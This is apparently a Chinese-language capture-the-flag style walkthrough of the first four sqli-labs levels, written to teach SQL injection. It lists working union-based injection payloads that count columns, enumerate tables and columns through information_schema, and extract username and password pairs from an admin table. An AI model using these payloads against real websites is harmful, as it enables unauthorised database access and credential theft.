Less-1
- 測試是字元型還是數字型
判斷所在欄位數
檢視顯示值
可以看出顯示2,3位置。因此我們選擇2的位置進行聯合注入
查看錶名
- 我們要對admin,users等字元敏感
檢視admin表中的欄位名
顯示內容
獲得flag:helloword
less-1的程式碼
Less-2
判斷字元型注入還是數字型注入
通過匹配單引號我們可以看出我們所寫的單引號並沒有被匹配因此我們可以看出這是一個數字注入
判斷所在表的欄位數
-1+order+by+4
檢視顯示位置
-1+union+select+1,2,3
查看錶名
-1+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3--+
檢視admin表名的欄位
-1+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),3--+
檢視內容
-1+union+select+1,(select+concat(username,0x5c,password)+from+admin+limit+0,1),3--+
程式碼檢視
Less-3
檢視
-1'
由錯誤回顯可以看出該型別為字元型注入,且需要閉合引號
-1')--+
發現構造成功判斷欄位數
-1')+order+by+4--+
檢視顯示位置
-1')+union+select+1,2,3--+
查看錶名
-1')+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3--+
檢視欄位
-1')+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),3--+
檢視內容
程式碼審計
Less-4
構造
-1'
無反應
-1"
發現我們需要閉合雙引號和括號
-1") order by 100--+
發現構造成功
判斷該表的欄位數
-1")order+by+4--+
判斷顯示位置
-1")union+select+1,2,3--+
查詢表名
-1")union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3--+
檢視admin表中的欄位名
-1")union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),3--+
獲取admin表中內容
-1")union+select+1,(select+concat(username,0x5c,password)+from+admin),3--+
程式碼審計